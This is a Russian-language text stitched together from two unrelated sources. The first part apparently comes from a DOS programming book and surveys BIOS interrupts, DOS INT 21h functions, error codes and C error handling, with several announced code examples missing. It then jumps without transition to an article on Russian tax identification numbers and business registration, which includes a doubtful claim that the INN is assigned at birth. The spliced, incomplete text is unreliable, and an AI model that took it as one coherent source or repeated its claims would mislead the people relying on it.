Подробно прерывания BIOS будут изучаться во втором томе, так как описание этих прерываний трудно отделить от описания особенностей аппаратуры. Приводимый здесь обзор предназначен в основном для иллюстрации основных возможностей BIOS по обслуживанию периферии, поэтому в обзор вошли не все прерывания BIOS, а только самые важные. Остальные прерывания будут изучаться по мере необходимости при изложении соответствующего материала.

Получение информации об оборудовании


INT 11h — Получить список оборудования.

Прежде чем пытаться работать с каким-либо устройством ввода/вывода, следует убедиться в том, что оно есть в составе оборудования компьютера. В процессе инициализации тестовые модули, находящиеся в BIOS, динамически определяют состав аппаратного обеспечения машины и записывают конфигурацию системы в специально отведенную для этого ячейку памяти.

Программа, вызывая прерывание INT 11h, получает в регистре AX содержимое этой ячейки. Каждый бит в слове конфигурации отвечает за соответствующее устройство.

Анализируя слово конфигурации, программа может узнать, входят ли в состав оборудования компьютера дискеты и если входят, то сколько дисководов имеется в наличии, присутствует ли арифметический сопроцессор, какой начальный режим дисплейного адаптера используется, сколько в системе принтеров, адаптеров последовательного интерфейса RS232, подключен ли игровой адаптер (джойстик)?

Обычно прикладная программа не работает сама с аппаратурой, а пользуется услугами операционной системы. При обращении к стандартной аппаратуре через операционную систему программа пользователя получит признак ошибки, если запрашиваемое устройство отсутствует. Программы, составленные на языке программирования Си при использовании библиотеки эмуляции арифметического сопроцессора, сами определяют, имеется сопроцессор или нет, и не пытаются пользоваться отсутствующим устройством. Операции сопроцессора эмулируются центральным процессором и программа просто работает медленнее.

Но если программа обращается непосредственно к портам ввода/вывода отсутствующего устройства, это может привести в лучшем случае к зависанию системы.

INT 12h — Получить размер основной памяти.

Сказанное выше справедливо и по отношению к оперативной памяти. Для работы некоторых программ требуется достаточное количество памяти. Прерывание INT 12h возвращает в регистре AX количество имеющихся блоков памяти размером в один килобайт. Анализируя эту величину, программы могут при нехватке памяти либо вывести на экран соответствующее сообщение и отказаться от работы, либо изменить алгоритмы работы, организовав, например, «виртуальную» память на диске или просто записывая в файл промежуточные результаты.

Если Ваш компьютер оборудован расширенной памятью (адресное пространство этой памяти находится выше границы в 1 мегабайт), размер этой памяти в килобайтах можно узнать, вызвав прерывание INT 15h со значением регистра AX, равным 8800h.

Работа с дисплейным адаптером.

Прерывание INT 10h выполняет все многочисленные операции по обслуживанию дисплейного адаптера.

При вызове прерывания INT 10h, как и при вызове многих других прерываний, регистр AH содержит номер функции, которую требуется выполнить. Остальные регистры при вызове прерывания содержат операнды.

Программирование дисплейного адаптера — сложная задача. Функции, выполняемые прерыванием INT 10h обширны, полностью они будут описаны во втором томе книги. Приведем краткий обзор функций прерывания INT 10h.

00h — Задание видеорежима.

Эта функция обычно вызывается первой при начале работы с дисплейным адаптером или при необходимости изменить текущий режим адаптера. Что здесь имеется в виду?

Напомним, что дисплейный адаптер может работать либо в текстовом, либо в графическом режиме. На самом деле существует несколько текстовых и несколько графических режимов, различающихся количеством строк и столбцов, способом представления цвета и т.д.

В процессе инициализации BIOS задает начальный режим адаптера исходя из его типа. Если Вашей программе нужен другой режим, отличный от исходного, она должна использовать эту функцию. При этом необходимо учитывать, что дисплейные адаптеры могут поддерживать не все режимы.

01h — Установить характеристики курсора.

С помощью этой функции вы можете установить размер и форму курсора, сделать курсор мигающим или убрать его совсем.

02h — Установить положение курсора.

Эта функция позволяет управлять расположением курсора на экране, в частности, один из способов убрать курсор — расположить его за пределами экрана, например, на несуществующей 26 строке.

03h — Получить положение курсора.

Программа может узнать в любое время, где расположен курсор. Это может потребоваться ей, например, для того, чтобы переместить курсор в следующую позицию (вправо, вверх, вниз, на 10 символов левее текущего положения и т.д.).

04h — Получить положение светового пера.

Световое перо используется относительно редко, однако если оно есть, то функция 04h позволит вам работать с этим устройством.

05h — Выбрать активную страницу дисплейной памяти.

Компьютер хранит, как правило, не один отображаемый образ экрана, а несколько. Для этого видеопамять (память для хранения видеоизображения, находится на плате видеоконтроллера) разбивается на так называемые страницы. Отображается только активная страница видеопамяти.

Используя механизм страниц, программа может заранее подготовить изображение в неактивной странице, затем сделать подготовленную страницу активной. Изображение новой страницы мгновенно появится на экране.

Некоторые отладчики программ используют одну страницу видеопамяти для отлаживаемой программы, другую — для выдачи своих диагностических сообщений.

06h, 07h — Прокрутка (скроллинг) окна вверх/вниз.

С помощью этих функций вы сможете переместить выбранную область окна на заданное число строк вверх или вниз. Освободившееся место будет заполняться пустыми строками. Одно из применений этой функции — полная очистка экрана.

08h, 09h — Прочитать/записать символ и атрибут.

С помощью этих функций можно прочитать или записать символ и его атрибут. При записи символа можно задать число повторений. Функцию записи с повторением удобно использовать для заполнения области экрана каким-либо символом.

Запись/чтение символа начинается с текущего положения курсора.

0Ah — Записать символ.

Эта функция предназначена для записи символа в видеопамять без задания для него индивидуального значения атрибута. Используется текущий атрибут. Можно задавать кратность записи.

0Bh — Выбрать цветовую палитру.

Эта функция позволяет управлять цветом рамки вокруг изображения в текстовом режиме и цветом фона в графическом режиме (для адаптеров EGA, VGA).

0Ch, 0Dh — Записать/прочитать графическую точку.

Можно высветить точку заданного цвета в заданном месте экрана для выбранной дисплейной страницы или прочитать значение цвета любой точки на экране соответственно.

0Eh — Запись символа на экран в стиле TTY.

После записи символа на экран курсор продвигается на следующую позицию, при этом обрабатываются такие управляющие символы, как BEL (подача звукового сигнала), возврат на одну позицию, перевод строки, возврат к началу строки.

0Fh — Прочитать текущий видеорежим.

Если Ваша программа изменяет видеорежим, она может сохранить старый видеорежим, получив его с помощью этой функции.

Кроме того, функция возвращает количество столбцов на экране и номер текущей активной дисплейной страницы.

10h, 11h, 12h — Обслуживание адаптера EGA.

Эти функции работают только при использовании дисплейных адаптеров EGA и VGA. Они позволяют устанавливать свою цветовую палитру, загружать знакогенератор (например, шрифтом для русских букв) и выполнять некоторые другие функции.

13h — Запись строки.

Для машин класса AT и выше при наличии дисплейных адаптеров EGA или VGA эта функция позволяет вывести на экран произвольную строку символов заданной длины, с заданным атрибутом и в заданном месте экрана. Можно также задать номер дисплейной страницы.

Если вы не можете использовать эту функцию (Ваш компьютер — XT или дисплейный адаптер — CGA), единственный способ вывести на экран строку символов с помощью прерывания INT 10h — вызывать в цикле функции 09h, 0Ah или 0Eh для вывода строки по одному символу.

Обслуживание клавиатуры.

Обработчик прерывания INT 16h выполняет несколько функций, связанных с обслуживанием клавиатуры. Мы не будем сейчас перечислять эти функции, они будут подробно описаны в главе, посвященной клавиатуре. С помощью функций обслуживания клавиатуры можно выполнить ввод кода нажатой клавиши как с ожиданием нажатия, так и без ожидания. В последнем случае функция сразу после вызова возвращает код нажатой клавиши или признак того, что никакая клавиша не нажималась.

Заметим, что символы, введенные с клавиатуры, помещаются в специальный клавиатурный буфер. Функция ввода символа без ожидания нажатия на клавишу проверяет состояние буфера — есть в нем символы, или нет. Если в буфере есть символы, первый помещенный в буфер символ возвращается программе. Этот символ затем может быть считан функцией ввода с ожиданием нажатия — фактически ожидания при этом не будет.

Для очистки буфера клавиатуры также можно использовать пару описанных выше функций: сначала программа проверяет пуст ли буфер, и, если он не пуст, считывает символ. Считанный символ никуда не помещается (теряется). После считывания символа программа опять проверяет содержимое буфера и так до тех пор, пока клавиатурный буфер не окажется пустым.

Для машин класса не ниже AT обработчик прерывания INT 16h выполняет и другие функции: установку задержки, запись символов в буфер клавиатуры, обслуживание расширенной клавиатуры.

Обслуживание дисковой подсистемы.

Прерывание INT 13h предназначено для обслуживания жестких и флоппи-дисков. Многочисленные функции прерывания INT 13h выполняют все операции по вводу/выводу на диски. Мы сделаем обзор только самых важных функций, остальные будут рассмотрены в книге 3, посвященной файловой системе.

00h — Сброс дисковой системы.

Эта функция выполняет установку в исходное состояние всей дисковой системы или выбранного дискового устройства. Используется обычно перед началом работы с устройством.

01h — Получить состояние дисковой системы.

Эта функция позволяет проверить результат выполнения предыдущей операции. Если операция завершилась аварийно, при помощи этой функции можно определить код ошибки.

02h/03h — Чтение/запись секторов.

Выполняется чтение секторов в оперативную память компьютера или запись информации из памяти в сектора диска.

Сектор задается для выбранных устройства, дорожки и головки. Программа должна также задать количество читаемых/записываемых секторов.

04h — Проверка секторов.

Функция проверяет сектора на правильность циклической контрольной суммы, CRC (Cyclic Redundancy Check); записи содержимого секторов в память не происходит.

Другие функции прерывания INT 13h.

Среди других функций прерывания INT 13h — форматирование дорожки, позиционирование головки на заданную дорожку диска, тестирование и предварительная установка диска, запуск диагностики контроллера и многое другое. Описание этих функций мы отложим до глав, посвященных файловой системе.

Вывод на принтер (параллельный порт).

BIOS содержит простейшую поддержку принтера — три функции прерывания INT 17h. Это функция 01h — инициализация принтера, 02h — опрос состояния принтера и 00h — вывод символа на принтер.

Поскольку к персональному компьютеру можно подключить несколько последовательных портов, при обращении к принтеру следует указывать номер порта.

Обслуживание последовательного порта связи

Функции прерывания INT 14h обслуживают порт последовательной передачи данных RS232. С помощью этих функций можно задавать формат и скорость передачи данных, определять состояние портов и, конечно, выполнять побайтную передачу данных.

Работа с системными часами.

Функции прерывания INT 1Ah обслуживают часы, имеющиеся в каждом компьютере. С их помощью вы можете установить время и дату, опросить текущее состояние часов. Вы можете работать с часами реального времени, которые имеются на машинах класса не ниже AT.

Для AT можно установить на заданное время «будильник» — в нужный момент будет вызвано прерывание «будильника» с номером 4Ah. Обработчик прерывания INT 4Ah может подать звуковой сигнал или вывести на экран предупреждающее сообщение.

Перезагрузка операционной системы.

Вызов прикладной программой прерывания INT 19h приведет к перезагрузке операционной системы.

Системный сервис для машин класса AT.

Прерывание INT 15h использовалось в компьютерах IBM PC и IBM PC Jr для управления кассетным накопителем на магнитной ленте (функции 0-3). Для машин класса AT и более высокого класса прерывание INT 15h имеет и другое назначение. С его помощью обслуживается расширенная клавиатура, выполняется программная задержка, задаваемая в микросекундах, обслуживается расширенная память. Кроме того, одна из функций прерывания INT 15h переводит процессор 80286 или 80386 в защищенный режим. Заметим, что вернуть процессор обратно в реальный режим можно только сигналом начального сброса. Это же относится и к арифметическому сопроцессору 80287.

Функция C0h прерывания INT 15h выдает дополнительные сведения о конфигурации аппаратных средств компьютера.

Для PS/2 назначение некоторых функций этого прерывания другое по сравнению с машиной AT.

На этом мы завершим описание предоставляемых BIOS функций и перейдем к обзору функций DOS.

DOS предоставляет программе набор системных вызовов, реализованных с использованием механизма программных прерываний. Эти вызовы открывают прикладной программе доступ к системной информации, к системе консольного ввода/вывода, файловой системе, к подсистеме управления программами и памятью, позволяют организовать обращение к драйверам устройств ввода/вывода и т.д.


Все основные функции DOS вызываются с помощью прерывания INT 21h, однако DOS использует и другие прерывания:

INT 20h завершение работы программы;
INT 25h/26h чтение/запись на диск с абсолютной адресацией секторов;
INT 27h завершение работы программы с оставлением ее резидентной в памяти;
INT 28h прерывание зарезервировано для DOS, может быть использовано для составления резидентных программ;
INT 2Eh выполнение команды DOS;
INT 2Fh прерывание мультиплексора, используется для спулера печати PRINT.COM.

Функции прерывания INT 21h можно разделить на следующие группы:

  • получение системной информации;
  • символьный ввод/вывод;
  • работа с файловой системой;
  • управление программами;
  • управление памятью;
  • связь с драйверами устройств;
  • прочий системный сервис.

В данном обзоре мы кратко рассмотрим эти группы, делая акцент в основном на составе функций. Полностью информация об использовании функций прерывания DOS INT 21h (и других прерываний DOS) будет приводиться в соответствующих разделах книги.

Номер функции задается при вызове прерывания INT 21h в регистре AH.

Получение системной информации.

Функция 30h возвращает в регистре AX номер версии DOS. Например, для версии MS-DOS 5.00 содержимое регистра AH равно 00, регистра AL — 05.

Дополнительно через регистр BH функция возвращает программе серийный номер фирмы-производителя ОЕМ (IBM — 00, DEC — 16h, 0FFh — Microsoft и т.п.), а в регистрах BL:CX после вызова функции находится серийный номер пользователя.

Эта информация может применяться для анализа возможности использования таких средств операционной системы, которые поддерживаются не всеми версиями DOS, или для настройки программы на конкретный серийный номер пользователя.

Функции 2Ah и 2Ch позволяют программе узнать системную дату и время.

Есть функции, возвращающие текущий диск и текущий каталог. Номера этих функций — 19h и 47h.

Функция 2Fh позволяет программе узнать адрес текущей области DTA (Disk Transfer Area). Эта область используется, например, при поиске файлов в каталоге.

Важная информация находится в блоке PSP (Programm Segment Prefix). Этот блок располагается в памяти непосредственно перед выполняющейся программой. В нем находятся, в частности, параметры, передаваемые программе при запуске. Функция 62h возвращает адрес текущего блока PSP.

Кратко перечислим некоторые другие функции для получения системной информации:

35h получить значение вектора прерывания с заданным номером;
4Dh узнать код завершения процесса;
59h получить расширенный код ошибки;
54h узнать, используется ли проверка при записи на диск;
33h узнать, используется ли проверка на CTRL-BREAK.

Символьный ввод/вывод.

Эти функции применяются для работы со всеми символьными устройствами, такими как консоль, принтер, последовательный порт, и называются функциями стандартного ввода/вывода.

Ввод/вывод программы, использующей стандартные функции, может быть переназначен.

Приведем обзор основных функций стандартного символьного ввода/вывод в виде таблицы:

Код Назначение Описание
01h Ввод с клавиатуры Выполняется ввод символа со стандартного ввода и эхо-вывод символа на стандартное устройство вывода. Выполняется проверка на нажатие комбинации клавиш CTRL/C и CTRL-BREAK
06h Ввод с клавиатуры Ввод символа со стандартного ввода без ожидания и вывод его на устройство стандартного вывода. Комбинации CTRL/C и CTRL-BREAK не проверяются.
07h Прямой ввод Ввод символа со стандартного с клавиатуры устройства ввода. Комбинации клавиш CTRL/C и CTRL-BREAK не проверяются.
08h Ввод с клавиатуры Аналогично функции 07h, но проверяются комбинации клавиш CTRL/C и CTRL-BREAK.
02h Отобразить символ Отображаемый символ посылается на стандартное устройство вывода.
09h Отобразить строку На стандартное устройство вывода символов посылается строка, закрытая символом ‘$’.
03h Ввод из последовательного порта Вводится символ из последовательного порта
04h Вывод в последовательный порт Выводится символ на последовательный порт
05h Вывод на принтер Выводится символ на принтер.

Из таблицы видно, что для ввода с клавиатуры можно использовать несколько функций. Ввод без эхо-вывода удобен для такой информации, как пароли. Если логика работы программы не допускает прерывания по нажатию комбинаций клавиш CTRL-C или CTRL-BREAK, нужно использовать функции, которые не проверяют эти комбинации.

Для вывода строки символов можно использовать функцию 09h, но выводимая строка не может содержать символ ‘$’, так как этот символ используется в качестве признака конца строки.

Работа с файловой системой.

DOS предоставляет программам обширный сервис для работы с файлами и дисками. Практически все файловые операции можно выполнять с помощью специально предназначенных для этого функций, только в некоторых случаях (защита данных от копирования, например) приходится использовать прямое обращение к диску.

С помощью файловых функций DOS можно создавать и удалять файлы и каталоги, открывать и закрывать файлы, создавать временные файлы. Ввод/вывод может быть буферизован, можно получить как последовательный доступ к содержимому файла, так и произвольный.

Мы не будем приводить сейчас конкретные примеры или номера функций, отложим это до книги 3, посвященной файловой системе.

Управление программами.

DOS предоставляет программам возможность организовать запуск других программ или загрузку и выполнение программных оверлеев. Для этого служит функция 4Bh.

Для завершения работы программа должна также использовать одну из специальных функций DOS. Функция 4Ch, завершая работу программы, позволяет передать операционной системе некоторое число, называемое кодом завершения программы. Это число может быть затем проанализировано в пакетном файле командой IF ERRORLEVEL. Если одна программа запускает другую, то первая может получить код завершения второй с помощью функции 4Dh.

Для того чтобы завершающаяся программа осталась в оперативной памяти (т.е. стала резидентной), она должна вызвать прерывание INT 27h или воспользоваться функцией 31h.

Мы приведем различные примеры запуска программ из программ и научимся составлять резидентные программы.

Управление памятью.

DOS управляет распределением памяти с помощью блоков управления памятью MCB (Memory Control Block). Вся память разбивается на блоки различного размера, которым предшествует блок MCB, содержащий характеристики данного блока памяти (например, его размер).

Программа может динамически получать и освобождать области памяти с помощью функций 48h и 49h соответственно. Кроме того, можно изменять размер блока, выделенного операционной системой программе. Это делает функция 4Ah.

Детально механизм управления памятью будет рассмотрен в главе 2 при описании векторной таблицы связи DOS.

Связь с драйверами устройств.

Мы уже обращали Ваше внимание на то, что программы не могут обращаться непосредственно к драйверам устройств ввода/вывода. Все обращения к драйверам имеют либо неявный характер (ввод/вывод с помощью функций прерывания INT 21h), либо используют специальную функцию DOS с кодом 44h. Эта функция используется для обмена управляющей информацией между драйвером и программой.

Другие функции.

Существуют функции, позволяющие переопределять прерывания, работать с системными часами и календарем, функции для работы в сети и некоторые другие. Эти функции будут описаны позже в соответствующих разделах книги.

Когда программа обращается к DOS для выполнения какой-либо операции, она должна вызвать соответствующее прерывание, загрузив перед вызовом прерывания все необходимые операнды в регистры процессора. Если выполнение операции невозможно по каким-то причинам (неправильные операнды, устройство неработоспособно, запрашиваемая операция не поддерживается текущей версией DOS и т.д.), то для большинства функций DOS устанавливается признак ошибки — флаг переноса CARRY. Для DOS версии 2.0 и более поздних версий регистр AX при этом содержит код ошибки.

Приведем коды ошибок, возвращаемые программе через регистр AX:

1 Неправильный код функции
2 Файл не найден
3 Путь не найден
4 Слишком много открытых файлов
5 Доступ запрещен
6 Неправильный идентификатор файла
7 Разрушен блок управления памятью
8 Недостаточно памяти
9 Неправильный адрес блока памяти
10 Неправильная среда
11 Неправильный формат
12 Неправильный код доступа
13 Неправильные данные
14 Зарезервировано
15 Ошибка при указании дисковода
16 Невозможно удалить текущий каталог
17 Другое устройство
18 Больше нет подходящих файлов

Для DOS версии 3.0 и более поздних версий обработка ошибок значительно расширена. Введена функция 59h прерывания INT 21h, предназначенная для получения дополнительной информации об ошибках.

При вызове этой функции регистр BX должен содержать индикатор уровня анализа ошибок, который должен быть равен 0. Кроме расширенного кода ошибки, возвращаемого в регистре AX, программа может получить класс ошибки (регистр BH), код предполагаемых действий (регистр BL), локализацию ошибки, т.е. место, где произошла ошибка (регистр CH).

К сожалению, эта функция разрушает содержимое регистров CL, DX, SI, DI, BP, DS, ES. Программа, использующая функцию 59h, должна позаботиться о сохранении содержимого этих регистров.

Расширенный код ошибки, возвращаемый в регистре AX, может принимать значения, указанные в приводимой ниже таблице. Коды от 1 до 18 эквивалентны представленным выше и второй раз не приводятся.

Расширенные коды ошибок:

19 Запись на защищенный от записи диск
20 Задан неизвестный идентификатор устройства
21 Дисковод не готов
22 Неизвестная команда
23 Ошибка циклического кода проверки
24 Неправильная длина структуры запроса
25 Ошибка поиска
26 Неизвестен тип среды носителя данных
27 Сектор не найден
28 Кончилась бумага в принтере
29 Ошибка записи
30 Ошибка чтения
31 Общая ошибка
32 Нарушение разделения файла
33 Нарушение блокировки файла
34 Неправильная замена диска
35 FCB недоступен (слишком много блоков FCB)
36 Переполнился буфер разделения
37 Зарезервировано
38 Не завершена операция «Конец файла»
39-49 Зарезервировано
50 Сетевая функция не поддерживается
51 Удаленный компьютер «не слышит»
52 Дублирование имени в сети
53 Сетевое имя не найдено
54 Сеть занята
55 Сетевое устройство больше не существует
56 Превышен лимит команды сетевой BIOS
57 Ошибка в аппаратуре сетевого адаптера
58 Неправильный ответ из сети
59 Непредусмотренная ошибка сети
60 Несовместимый удаленный адаптер
61 Заполнена очередь печати
62 Для печатаемого файла недостаточно места
63 Печатающийся файл был удален
64 Сетевое имя было удалено
65 Доступ запрещен
66 Неправильный тип сетевого устройства
67 Сетевое имя не найдено
68 Превышен лимит сетевого имени
69 Превышен лимит сеанса сетевой BIOS
70 Временная пауза
71 Сетевой запрос отвергнут
72 Приостановлена печать или переадресация диска
73-79 Зарезервировано
80 Файл уже существует
81 Зарезервировано
82 Невозможно создать дескриптор в каталоге
83 Ошибка обработчика критических ошибок INT 24h
84 Слишком много переназначений
85 Двойное переназначение
86 Неправильный пароль
87 Неправильный параметр
88 Ошибка данных в сети
89 Нет такой функции в сети
90 Требуемый компонент системы не установлен

Класс ошибки, передаваемый в регистре BH, содержит информацию, которая поможет вам обработать данную ошибку:

1 Недостаточно ресурсов: блоков FCB, памяти и т.д.
2 Временная ситуация
3 Нет прав доступа
4 Внутренняя ошибка DOS
5 Ошибка аппаратуры
6 Системная ошибка DOS (нет CONFIG.SYS и т.п.)
7 Ошибка в прикладной программе
8 Файл или объект не найден
9 Неправильный формат файла или объекта
10 Файл или объект заблокирован
11 Ошибка носителя данных
12 Файл или объект уже существует
13 Прочие ошибки

Код предполагаемых действий, передаваемый через регистр BL, поможет Вашей программе правильно обработать ошибку и избежать зависания системы. Приведем таблицу кодов предполагаемых действий:

1 Повторить операцию позже. Можно спросить пользователя, желает он повторить операцию или завершить работу программы.
2 Повторить предыдущую операцию после небольшой паузы. Если ошибка не исчезла, следует спросить пользователя, будет он ждать и дальше, или следует завершить работу программы.
3 Если пользователь вводил какие-то данные для DOS, следует попросить его ввести эти данные еще раз (например, пользователь мог указать неправильный идентификатор диска или путь доступа к файлу).
4 Аварийно завершить работу прикладной программы с выполнением всех обычных завершающих действий (закрытие файлов, сброс буферов на диск, освобождение блоков памяти и т.д.)
5 Немедленный выход из программы без выполнения завершающих действий. Система находится в непредсказуемом состоянии.
6 Следует игнорировать ошибку.
7 Повторить операцию после того, как пользователь выполнит требуемые действия (установит дискету и т.п.).

Сведения о локализации ошибки передаются в регистре CH. Приведем таблицу кодов локализации:

1 Локализация ошибки не может быть определена (система не знает, где произошла ошибка).
2 Ошибка произошла в блочном устройстве (диск или магнитная лента).
3 Ошибка связана с сетью.
4 Ошибка произошла в символьном устройстве, например, в принтере.
5 Ошибка связана с оперативной памятью.

Если Ваша программа составлена на языке ассемблера, то после обращения к DOS через прерывание следует проверить состояние флага переноса:

Программы, составленные на языке Си, обращаются к прерываниям DOS обычно с помощью таких функций, как intdos, int86, intdosx и т.д. Для передачи параметров используются структуры REGS, WORDREGS, BYTEREGS, SREGS. Они описаны в файле dos.h, для использования этих структур программа должна содержать строку:

Значение флага переноса записывается в переменную cflag, определенную в структуре WORDREGS. Эта структура входит в объединение REGS:

Проверка переменной cflag может быть выполнена, например, таким образом:

Код ошибки при этом содержится в переменной outregs.x.ax.

Приведем пример программы, которая стирает каталог с именем DIR в текущем каталоге и, в случае ошибки, выводит расширенную информацию об ошибке, класс ошибки, код предполагаемых действий и код локализации ошибки:

При составлении программ обработки ошибок следует учитывать, что для DOS версии 1.0 при некоторых ошибках функции DOS возвращают в регистре AX значение 0FFh. Начиная с версии DOS 2.0, при ошибке устанавливается флаг переноса, код ошибки записывается в регистр AX. Однако для более полной диагностики причины ошибки следует использовать функцию 59h прерывания INT 21h.

Если Ваша программа, составленная на языке Си, вызывает функции DOS неявным образом (через функции стандартной библиотеки транслятора, такие как fprintf, puts и т.д.), то можно воспользоваться средствами обработки ошибок, входящими в состав стандартной библиотеки.

Когда при обращении к функциям DOS средствами стандартной библиотеки транслятора Си возникает ошибка, то в глобальную переменную errno записывается код ошибки.

Возможны следующие коды ошибок (они описаны в файле errno.h и stdlib.h):

ECHILD Нет порожденных процессов. Задача, не имеющая подзадач, выдала команду ожидания, или была выдана команда ожидания для подзадачи, имеющей признак NO-WAIT.
EAGAIN Больше нет процессов. Попытка создать новый процесс окончилась неудачно, т.к. либо больше нет резервов для создания процессов, либо недостаточно оперативной памяти, либо превышен максимальный уровень вложенности процессов.
E2BIG Слишком велик список аргументов. Либо размер списка аргументов превышает 128 байт, либо требуемый размер памяти для среды превышает 32К.
EACCES Доступ запрещен. Затребованный вид доступа к файлу запрещен или несовместим с установленными атрибутами файла (или каталога). Этот код ошибки передается при попытке чтения из неоткрытого файла, при попытке записи в файл, защищенный от записи, или при попытке открыть каталог как файл.
EBADF Плохой номер файла. Номер файла, использованный при вызове функции, имеет неверное значение или не относится к открытому файлу, или сделана попытка записи в открытый только для чтения файл или устройство.
EDEADLOCK Произошла блокировка ресурсов. Произведено 10 неудачных попыток заблокировать файл. Этот код ошибки используется только DOS версии 3.0 и более поздних версий.
EDOM Ошибка в аргументе математической функции. Аргумент математической функции вышел за пределы области определения этой функции.
EEXIST Файл уже существует. Сделана попытка создать файл с именем, которое уже используется существующим файлом.
EINVAL Неверный аргумент. Для одного из аргументов функции было задано неверное значение.
EMFILE Открыто слишком много файлов. Исчерпан запас номеров файлов , нельзя больше открыть ни одного файла.
ENOENT Нет такого файла или каталога. Запрошенный файл или каталог отсутствует или не может быть найден.
ENOEXEC Сделана попытка выполнить загрузочный файл, имеющий неправильный формат.
ENOMEM Недостаточно памяти. Эта ошибка появляется, когда недостаточно памяти для запуска процесса или для удовлетворения запроса программы на выделение блока памяти.
ENOSPC Нет свободного места на устройстве. На устройстве нет места для записи информации (например, переполнился диск).
ERANGE Слишком большой результат. Слишком большой по величине аргумент математической функции привел к частичной или полной потере значимости результата.
EXDEV Связь различных устройств. Сделана попытка переслать файл на другое устройство, используя функцию переименования.

Из приведенного выше списка кодов ошибок видно, что средствами стандартной библиотеки транслятора обрабатываются не только ошибки, возникающие при обращении к функциям DOS, но и ошибки, появляющиеся при работе с математическим функциями.

Для диагностической выдачи сообщения об ошибке можно использовать функции perror и strerror. Первая функция выводит в stderr соответствующее сообщение об ошибке, вторая только формирует строку сообщения. Функции perror и strerror имеют операнд — указатель на строку. Эта строка добавляется в начало стандартного сообщения об ошибке. Если к стандартному сообщению ничего добавлять не надо, операнд должен иметь значение NULL.

Следует заметить, что значение переменной errno отражает последнюю ошибку. Успешный вызов функции не приводит к автоматическому сбросу переменной errno.

Поэтому функции perror и strerror необходимо вызывать сразу после того, как вызываемая функция возвратит признак ошибки.

Приведем пример программы, обрабатывающей ошибки с использованием переменной errno:

DOS имеет еще одно средство для обработки ошибок — обработчик критических ошибок (Critical Error Handler). Этот модуль вызывается DOS, когда она получает сообщение об ошибке от драйвера устройства.

Модуль выдает на экран хорошо известное вам сообщение:

Это сообщение обычно появляется тогда, когда вы забываете вставить дискету или начинаете печатать при отключенном принтере.

Идентификационный код. Получение идентификационного кода

Идентификационный код — это то, с чем рано или поздно столкнется каждый гражданин, предприниматель или юридическое лицо. Крайне важная составляющая современной жизни. Имеет разнообразные определения и области применения. Все зависит от того, к какому объекту применяется код идентификации. Что о нем должен знать каждый гражданин? Как получить данную составляющую? И можно ли вообще сделать это?

У предпринимателей

Существует в России идентификационный код предпринимательской деятельности. Это крайне важная составляющая, без которой не получится открыть собственное дело. ИП попросту не позволят зарегистрироваться в налоговой службе.

Данный код служит для характеристики типа деятельности организации или предпринимательства. Своеобразный маркер, указывающийся в отчетностях. По нему налоговые органы могут понять, чем планирует заниматься ИП или юридическое лицо.

Идентификационный код вида деятельности предпринимателя/организации выбирается в специальной базе. Можно узнать ее или в налоговом органе, или отыскать при помощи разнообразных поисковиков. Каждое направление работы имеет свой код.

Получение кода деятельности

Нужны ли какие-то дополнительные процедуры для того, чтобы получить тот или иной код идентификации предпринимательской деятельности? Нет. Уже было сказано, что для присвоения данной составляющей достаточно воспользоваться существующей базой.

Единственное, что должен сделать предприниматель, — это зарегистрировать свою деятельность. В момент написания заявления для постановки на налоговый учет будет предложено выбрать идентификационный код вида предпринимательской деятельности. Полный перечень возможных вариантов предоставляют в налоговых службах без особых проблем.

Соответственно, к моменту регистрации деятельности предприниматели и юридические лица уже имеют код идентификации рода занятости. Он должен будет указываться в дальнейшем в отчетностях. Довольно часто люди не знают, к какой категории отнести ту или иную работу. В момент регистрации ИП гражданину помогут выбрать тот или иной код работники налоговых служб.

Для физических лиц

Трудно представить, но и у всех физических лиц тоже есть идентификационный код. О чем идет речь? Как только человек становится гражданином страны, ему присваивается специальная комбинация. Она не меняется вообще, даже если человек сменил имя или фамилию. Речь идет о так называемом ИНН.

Данный код помогает искать гражданина в системе налоговых органов. Это своеобразный идентификатор налогоплательщика. Позволяет узнавать о долгах гражданина и его налоговой истории. Крайне важная составляющая для лиц, которые планируют открывать ИП.

Присваивается, как правило, при рождении. Но не всем известен их идентификационный номер. Это вовсе не значит, что его нет. Достаточно просто запросить у налоговых органов сведения об ИНН налогоплательщика. В качестве ответа гражданину выдадут свидетельство установленного образца с 12-значным кодом. Это и есть идентификатор налогоплательщика в России. Но как его получить?

Запрос ИНН

Получение идентификационного кода — операция не такая уж и трудная. Гражданин может в любое время обратиться в налоговую службу по месту прописки для воплощения задумки в жизнь. В течение 3-5 дней после подачи заявления установленного образца можно будет вернуться за свидетельством с ИНН.

К запросу выдачи ИНН нужно приложить копии следующих документов:

  • СНИЛС;
  • удостоверение личности (а именно — гражданский паспорт).

Оригиналы бумаг тоже необходимы. Если у человека нет в паспорте сведений о прописке, придется приложить оригинал справки о регистрации в том или ином жилье вместе с копией.

Регистрация ИП

А как можно зарегистрировать ИП? После того, как гражданин откроет свое дело, ему будет выдан очередной идентификационный код. А точнее — о регистрации деятельности в качестве предпринимателя. По комбинации можно будет в будущем узнавать о долгах ИП.

Регистрация предельно простая. Она мало чем отличается от получения ИНН гражданином. Необходимо предоставить в налоговую службу:

  • заявление установленного образца об открытии ИП с указанием системы налогообложения;
  • удостоверение личности заявителя;
  • СНИЛС;
  • идентификационный код гражданина (ИНН);
  • квитанцию об уплате государственной пошлины за регистрацию ИП (в 2020 году составляет 800 рублей).

В течение нескольких дней заявление будет рассматриваться налоговыми органами. Если все сделано правильно, то при помощи гражданского паспорта гражданин сможет получить свидетельство о регистрации ИП.

Юридические лица

А как открыть организацию? После регистрации в качестве юридического лица тоже будет присваиваться идентификационный код. Как и во всех остальных ситуациях, он является своеобразным идентификатором в системе налогоплательщиков.

Регистрация осуществляется в налоговых органах по месту нахождения компании. Руководитель фирмы должен принести:

  • удостоверение личности (свой паспорт);
  • устав компании;
  • учредительные документы организации;
  • основание для регистрации в том или ином месте (договор аренды, свидетельство о праве собственности и так далее);
  • СНИЛС;
  • ИНН;
  • заявление установленного образца.

После рассмотрения документов можно будет забрать готовое свидетельство с идентификатором организации.

Чем полезен номер

А чем так полезен идентификационный код? Например, если речь идет об организации, гражданине или предпринимателе? Уже было сказано, что налоговым службам данные комбинации помогают искать плательщиков в системе по всей России. А может ли код идентификации помочь чем-нибудь населению? Да. Ведь он помогает:

  • искать задолженности по налогам;
  • осуществлять поиск незакрытых счетов;
  • оплачивать штрафы;
  • искать и производить оплату практически любых платежей через Интернет;
  • узнавать сведения о гражданине/предпринимателе/юридическом лице в целом.

